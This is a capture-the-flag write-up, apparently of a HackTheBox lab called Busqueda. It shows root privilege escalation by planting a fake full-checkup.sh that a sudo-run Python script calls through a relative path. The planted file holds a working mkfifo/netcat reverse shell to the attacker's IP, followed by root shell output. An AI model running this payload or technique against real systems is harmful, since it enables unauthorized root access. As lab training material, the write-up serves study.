Command Execution via Relative Path


Leveraging password reuse to gain access as the administrator user on the Gitea instance revealed that the /opt/scripts directory is hosted on the Gitlab instance. The initial idea of conducting privilege escalation by modifying the system-checkup.py file that is assigned to the svc account via a sudo-privileged command, had failed. It became apparent that the repository is read-only due to server-side limitations imposed by the Gitea instance. Nevertheless, a critical vulnerability was eventually identified in one of the conditional statements in system-checkup.py, where an external Bash script is invoked without using an absolute path. This introduced a potential security risk. A subsequent test confirmed the existence of the vulnerability at a later stage.

In the following sections, a proof of concept will be presented to demonstrate the exploitation of the identified vulnerability in the system-checkup.py file. The PoC will illustrate the potential consequences of invoking an external Bash script without utilizing an absolute path, emphasizing the security implications associated with the observed path manipulation vulnerability.

svc@busqueda:/var/tmp$ pwd
/var/tmp

For this attack to work, it is necessary to change the current directory to an arbitrary directory that is write-able by the current user

svc@busqueda:/var/tmp$ echo -e '#!/bin/bash\necho "Reverse Shell Inbound.."\nmkfifo /tmp/foibu; nc 10.10.16.8 1234 0</tmp/foibu | /bin/sh >/tmp/foibu 2>&1; rm /tmp/foibu' > /var/tmp/full-checkup.sh
svc@busqueda:/var/tmp$ cat full-checkup.sh 
#!/bin/bash
echo "Reverse Shell Inbound.."
mkfifo /tmp/foibu; nc 10.10.16.8 1234 0</tmp/foibu | /bin/sh >/tmp/foibu 2>&1; rm /tmp/foibu

Then, I will create a fake file named, full-checkup.sh, with the payload in it

svc@busqueda:/var/tmp$ sudo -u root python3 /opt/scripts/system-checkup.py full-checkup

Executing the sudo-privileged command in the current directory with the full-checkup sub-command will invoke the fake Bash script, resulting code execution of the payload

┌──(kali㉿kali)-[~/archive/htb/labs/busqueda]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.208] 49364
whoami
root
hostname
busqueda
ifconfig
br-c954bf22b8b2: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.20.0.1  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:3f:f4:e9:05  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-cbf2c5ce8e95: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.1  netmask 255.255.0.0  broadcast 172.19.255.255
        inet6 fe80::42:b7ff:fe96:fbcb  prefixlen 64  scopeid 0x20<link>
        ether 02:42:b7:96:fb:cb  txqueuelen 0  (Ethernet)
        RX packets 22787  bytes 18076268 (18.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23017  bytes 3383309 (3.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-fba5a3e31476: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:fe:de:7c:f7  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:95:39:04:f2  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.208  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:8e12  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:8e12  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:8e:12  txqueuelen 1000  (Ethernet)
        RX packets 1598692  bytes 256204868 (256.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1955053  bytes 576177102 (576.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 5433092  bytes 581122779 (581.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5433092  bytes 581122779 (581.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth2d5e8ec: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::2cf7:d2ff:fef5:859d  prefixlen 64  scopeid 0x20<link>
        ether 2e:f7:d2:f5:85:9d  txqueuelen 0  (Ethernet)
        RX packets 58415  bytes 22844402 (22.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 51305  bytes 17660954 (17.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth8104adb: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::50c5:a0ff:fe24:9162  prefixlen 64  scopeid 0x20<link>
        ether 82:af:f1:a3:3d:75  txqueuelen 0  (Ethernet)
        RX packets 45157  bytes 17714096 (17.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 52560  bytes 7890049 (7.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise